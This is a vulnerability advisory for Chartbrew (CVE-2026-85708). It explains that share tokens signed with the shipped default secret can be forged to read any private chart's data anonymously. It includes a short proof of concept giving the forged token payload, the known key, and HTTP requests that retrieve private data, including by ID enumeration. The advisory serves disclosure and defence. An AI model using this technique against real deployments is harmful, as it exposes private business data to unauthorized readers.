Chartbrew: Private Chart Data Disclosure via Forged Share Tokens
Chartbrew signs and verifies share tokens with the same hard-coded default key used for authentication. An anonymous attacker forges a token and reads any private chart's data, including by enumerating sequential IDs without knowing a share link.
Advisory ID: TP-2026-056
Product: Chartbrew (open-source business-intelligence platform for data visualization, self-hosted)
Vulnerability type: Improper Verification of Cryptographic Signature (CWE-347)
CVE: CVE-2026-85708
CVSS 3.1: 7.5 (High) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Vendor advisory: GHSA-3chp-cr6f-hp63
Affected versions: <= 5.2.2
Fixed in: not yet released (fix on master)
Reported: 16 July 2026
Summary
Chartbrew is a self-hosted open-source business-intelligence platform for data visualization whose public share and embed tokens are signed and verified with settings.secret (CB_SECRET) as the primary key with no algorithms allow-list (server/controllers/ChartController.js:1343 sign / :1208 verify; server/controllers/ProjectController.js:433). The Chart branch of findBySharePolicy checks only sub.type==="Chart" and sub.id===sharePolicy.entity_id with no project.public/visibility gate and returns chartData. checkFilterAccess accepts the same forged token for POST /project/:project_id/chart/:chart_id/filter using sequential integer IDs only. With the static default CB_SECRET (change_to_random_string, see CVE-2026-85295) — never generated by setUpEncryptionKeys.js — the signing key is public knowledge. An anonymous attacker forges a token and reads any private chart's data, defeating token expiry and revocation permanently once the secret is known.
Root cause
Share and embed tokens are signed with settings.secret (CB_SECRET) at server/controllers/ChartController.js:1343 and verified with jwt.verify(token, settings.secret) and no algorithms allow-list at :1208. The Chart branch of findBySharePolicy enforces only sub.type==="Chart" and sub.id===sharePolicy.entity_id, with no project.public or visibility check, and returns chartData (checkFilterAccess at server/api/ChartRoute.js:348 accepts the same forged token using sequential integer IDs with no visibility gate). CB_SECRET is the shipped default change_to_random_string, never generated by setUpEncryptionKeys.js, so the signing key is public knowledge. The 99999-day token expiry and the absence of secret rotation mean a private share cannot be revoked once the secret is known. Distinct sink and fix from the auth-forge advisory (CVE-2026-85295).
Proof of Concept
# Forge a share token signed with CB_SECRET:
PAYLOAD {"sub":{"type":"Chart","id":5,"sharePolicyId":3}}
KEY change_to_random_string (HS256)
# Read private chart data via share route, unauthenticated:
GET /chart/share/<share_string>?token=<forged> HTTP/1.1
HTTP/1.1 200 OK
{"chartData":{"SECRET_MARKER":"CB-VERIFY-DATA-7Q9x","revenue":987654}}
# Baseline, no token:
GET /chart/share/<share_string>
HTTP/1.1 400 "Token is missing"
# Read by integer id enumeration, no share link required:
POST /project/26/chart/5/filter?token=<forged> HTTP/1.1
{"filters":[]}
HTTP/1.1 200 OK
{"chartData":{"secretds":{"data":[{"marker":"CB-VERIFY-DATA-7Q9x"}]}}}
Impact
- Anonymous disclosure of any private chart's data, including values reachable through the chart's query.
- Fully arbitrary read by integer ID enumeration, with no share link required.
- Token expiry and revocation permanently defeated once the secret is known.
- Read-only, single request, no user interaction.
References
- Vendor advisory: GHSA-3chp-cr6f-hp63
- CVE-2026-85708
- Related advisory: CVE-2026-85295 (authentication forge via same default CB_SECRET)
Is Something Like This in Your Software?
Our team found this vulnerability in the course of its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.
